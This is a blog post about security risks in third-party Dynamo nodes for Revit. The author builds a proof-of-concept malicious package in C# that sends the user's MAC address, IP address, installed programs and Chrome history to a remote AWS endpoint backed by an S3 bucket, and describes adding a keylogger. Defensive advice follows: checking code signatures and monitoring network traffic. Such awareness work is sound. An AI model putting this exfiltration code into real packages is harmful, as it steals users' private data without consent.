Dynamo Nodes Security: The monster underneath your bed
Why security matters
If you have used Revit for a long time, most likely you have used Dynamo at least one time in your life. To use it you either rely on nodes that come by default with the software or you have to download custom ones created by a third party.
It is not a popular topic, but software security is an essential component in the construction industry, as it helps protect sensitive information and data from unauthorized access, theft, or destruction. In construction, there is often a vast amount of information that needs to be stored and managed, such as plans, specifications, contracts, and financial data. If this information falls into the wrong hands, it could have severe consequences, including financial loss, project delays, or even legal liability.
In this article, we will experiment with both topics by creating our custom nodes and show them as an example to display the potential threats of downloading software from unknown sources and how to protect yourself from them.
First things first
As stated on Dynamo’s developer resources page, developing a custom node is a simple process, so let’s start from there. I will not dive deep into this because there is plenty of documentation on the web.
- Create a .NET Framework solution with a class inside that looks like this:
namespace HazardousPackage
{
public class TestFunction
{
//Empty constructor to avoid import in Dynamo
private TestFunction() { }
public static string GreetingsNode(string name)
{
return $"Hello {name}";
}
}
}
2. Test the .dll by loading it manually from Dynamo.
3. Create a file structure that looks like this:
│ pkg.json
├───bin
│ yourPacakge.dll
├───dyf
└───extra
yourPacakge_ViewExtensionDefinition.xml
4. Upload a custom Dynamo node.
4. Search your package to make sure it was correctly uploaded.
Note:
Like many other code communities for example NuGet in C#, you cannot delete a node. You can only upgrade the version, so for this reason, our node will filter only if you use a certain pass. We don’t want anybody to download it and send us personal information by mistake.
Let’s make our node Childproof before we start playing
Given the fact that we are going to create a node to obtain data from the user’s computer, and even when the name and the description of the package are pretty obvious, we don’t want to cause anybody harm, so we’ll add a safe, so the node can only be used if you know a forty hexadecimal digit password so it could take 21 quintillion years to brute force (I know those are a lot of digits but this is my package and I do what I will do it anyways).
So we add a password to check.
namespace HazardousPackage
{
public class TestFunction
{
//Empty constructor to avoid import in Dynamo
private TestFunction() { }
public static string GreetingsNode(string name, string password)
{
string pass = "Really long and hard pasword";
if (password == pass)
{
//FUTURE HACK CODE HERE
return $"Hello {name}";
}
else
{
return "You need a password to be hacked";
}
}
}
}
Update the version of the package in the store and voilà.
Setting up a connection with a remote storage
The first step will be to set up storage in a remote location to save any information I can extract from the Dynamo node
I set up a simple endpoint to send info from my node every time the run button is hit. To do so, I created a simple Gateway. Then I’ll route the request to a Lambda (code below) and save it in S3 as a separate file for every run. If you want more info on Lambda functions you can always check our previous post Here
import boto3
from datetime import datetime
def lambda_handler(event, context):
file_data = event['body']
# Getting the current date and time
dt = datetime.now()
# getting the timestamp
ts = str(datetime.timestamp(dt)) + '.txt'
s3 = boto3.client('s3')
bucket_name = 'yourBucketName'
s3.put_object(Bucket=bucket_name, Key=ts, Body=file_data)
return {
'statusCode': 200,
'body': 'File uploaded successfully to S3'
}
Note: I use python here because it is more practical for a simple endpoint like this.
I add a Task in my C# to send the information from the node to the S3
private static async Task Main(string args)
{
using (var client = new HttpClient())
{
var requestBody = args;
var content = new StringContent(requestBody, Encoding.UTF8, "application/json");
var response = await client.PostAsync("https://w6wy4o79e0.execute-api.us-east-1.amazonaws.com/Prod/", content);
if (response.IsSuccessStatusCode)
{
var responseContent = await response.Content.ReadAsStringAsync();
Console.WriteLine(responseContent);
}
else
{
Console.WriteLine($"Request failed with status code: {response.StatusCode}");
}
}
}
You can see below how a file looks in S3. I used a time stamp as a name so it won’t get repeated and is easier to track.
Let’s start with an easy example
Now that everything is set up let’s try sending our first info. Let’s start with the Mac address (It is like a digital fingerprint for your device that allows other devices to know who you are and how to talk to you).
I added the following code to my Hazardous node and checked what I got on my storage:
String firstMacAddress = NetworkInterface
.GetAllNetworkInterfaces()
.Where(nic => nic.OperationalStatus == OperationalStatus.Up && nic.NetworkInterfaceType != NetworkInterfaceType.Loopback)
.Select(nic => nic.GetPhysicalAddress().ToString())
.FirstOrDefault();
String macAdressProperty = String.Concat("Mac Address: ", firstMacAddress);
Below I ended up with the following information, Mac addresses have no other use outside the network where the device is connected, but this works as a first proof that we can extract computer data.
I added the following code to my Hazardous node and checked what I got on my storage:
Now let’s try getting the IP address. Use the following code to obtain it:
string localIP;
using (Socket socket =
new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0))
{
socket.Connect("8.8.8.8", 65530);
IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;
localIP = endPoint.Address.ToString();
}
I also added a Json serializer to export an object, given the fact that I will be exporting more properties over time:
With the IP, you could, for example, get the exact location of the person.
To get the exact location, take your IP and go to https://www.opentracker.net/feature/ip-tracker, where it will pinpoint where you are connected. For example, my IP where I’m currently located shows Miami (stalkers, please don’t waste your time. I was at a bar and not in my cozy home).
Someone could track the online activity or even use the IP to deploy a denial of service (DoS) or distributed denial of service (DDoS) attack, which overloads a network by generating massive amounts of fake traffic to interrupt services, so a lot of damage can be done by knowing this information.
Let me see what is on your computer
Another action to obtain valuable information from someone’s computer can start by obtaining a list of the user’s programs, for example, by using the following code we iterate through the registry:
string registry_key = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
using (Microsoft.Win32.RegistryKey key = Registry.LocalMachine.OpenSubKey(registry_key))
{
foreach (string subkey_name in key.GetSubKeyNames())
{
using (RegistryKey subkey = key.OpenSubKey(subkey_name))
{
if (subkey.GetValue("DisplayName") != null)
{
programs.Add(subkey.GetValue("DisplayName").ToString());
}
}
}
}
We get something like this:
Note: This is just a partial list of all the junk on my computer.
As this is just an example, we’ll leave it like this. But we could get more serious stuff.
I know what you did last summer – Your Google Chrome history is available
Another interesting aspect could be to obtain the user’s Chrome history. The Chrome history is stored in an SQLite database, so the only thing we have to do is read it:
SQLiteConnection conn = new SQLiteConnection
(@"Data Source=C:\Users\YourUserName\AppData\Local\Google\Chrome\User Data\Default\History");
conn.Open();
SQLiteCommand cmd = new SQLiteCommand();
cmd.Connection = conn;
// cmd.CommandText = "SELECT name FROM sqlite_master WHERE type='table' ORDER BY name;";
// Use the above query to get all the table names
cmd.CommandText = "Select * From urls";
SQLiteDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
websites.Add(dr[1].ToString());
}
You will end up with a list like this:
Note: Items had to be removed to be apt for all audiences.
Also, be aware that here I just obtained the websites, but I could also get information like the time and date, so there is a lot of damage that can be done here.
Listen to everything I do?
Up to this point, someone could argue that the IP is not a problem because you could always use a VPN, that the computer data could not be a problem because you could freeze your computer to a certain point, or don’t store local files, and even that the Chrome history could be avoided by just not saving the history or using something more secure like duckduckgo. But what if we could save everything you type on your keyboard? Well, you could always install a Keylogger the first time you run the package and then get the logs every time you re-run the Hazardous package.
To be honest, in the beginning, I was skeptical I would be successful, but I followed Hackamans great tutorial and built a Keylogger, and to my surprise:
No issues were found either by my antivirus or by windows, so after the first run and save the logs in a folder where they could never be deleted by mistake, I retrieved the following:
Note: As much as I love you beautiful stranger reading this post, there is no way I will show you the log of my computer, so I took an example from Wikipedia of another keylogger that looks similar to mine.
A long list of open doors in your computer
So we have seen many examples of vulnerabilities, and I could add so many others, like using a clipper, a program for intercepting the clipboard’s content (it can be helpful if the victim uses a password manager and pastes passwords instead of typing them). Or I could get conversation logs from multiple apps, get confidential documents, extract data from the Revit model itself, get snapshots of the camera, or even create a reverse shell(live access to your computer).
Now you know downloading certain Dynamo nodes from certain authors can be dangerous. Now that you know how it works, don’t do it. You could get a lawsuit under the Computer Fraud and Abuse Act.
My idea is to teach users how to be aware of this and not to blame Autodesk, Dynamo is a great product, and there are so many other communities like NuGet in C# that work similarly, so this is the world we live in. There are bad people, whether we want it or not.
Don’t despair. There is a lot to do
So now that you know what the threats are, let’s learn how we can avoid them.
The first piece of advice is to analyze what you will download. For instance, authors that are well-known worldwide will not guarantee you that they won’t do it but probably will never compromise their work because they care about their reputation.
Also, public authors will avoid hacking people’s computers as they will be easily caught.
Another important factor is the number of downloads. Typically, more popular packages are more trustworthy or have more validations.
Do you feel more than social validation is needed? Don’t despair, and keep reading.
How to know the origin of the files?
First, you should be safe if you download a node and don’t run it. You can download it and check if the DLLs (binary files compiled in C#) were signed with a certificate. This means the person or the company went through a formal process with the CA/Browser Forum where they validate a lot of data like an address, telephone, email, paying taxes with the IRS, etc.
To check this, go to where the nodes are installed in your computer:
C:\Users\\AppData\Roaming\Dynamo\Dynamo Revit.13\packages
Locate where your package was installed and open the bin folder. You should find a .dll with the name of your node, in my case, “Hazardous Package.”
When you locate it, right-click on it and then click on properties. If there is a tab on top called “Digital Signatures” where you can find information about the author, it was signed with an SSL certificate and gives more guarantees of the node’s origin.
Note: This approach only works with nodes created using C# and not nodes using other nodes or python. For those cases, you could always copy and paste the code in ChatGPT and ask AI to explain what the code is doing.
Know what is going out
Let’s say that even when knowing the author’s origin, you still don’t trust them. Well, you can use a software called Glasswire, to monitor the traffic per app of what is going in and out in your network.
In our case, I ran the “Hazardous” package, and I checked Glasswire and saw that 8.9kb left my computer to:
w6wy4o79e0.execute-api.us-east-1.amazonaws.com
This is useful because you can know whether your package connects to a service. This doesn’t mean that all connections are malicious, but it gives you a piece of initial information.
If you want to obtain the actual content, you could always use a tool like Wireshark, a widely-used network protocol analyzer that lets you see what’s happening on your network at a microscopic level, so you can get the actual package of what is sent and see what is being obtained from your computer.
Take care of yourself
I always say that your computer is like your house, and the internet is your neighborhood. You take precautions like locking doors, setting up an alarm, and even installing a safe to keep things inside in case everything else fails. Well, the same applies here. You must be cautious about what you download from the internet, the same way you analyze who you let into your house.
In this post, we showed you some examples to protect yourself against threats, but there are so many other ways, so if you are interested in more, let us know, and stay safe!
Note: No Dynamo users were harmed during the creation of this post, and by the time of the publication, all endpoints were deleted, so our package is just a useless piece of code 🙂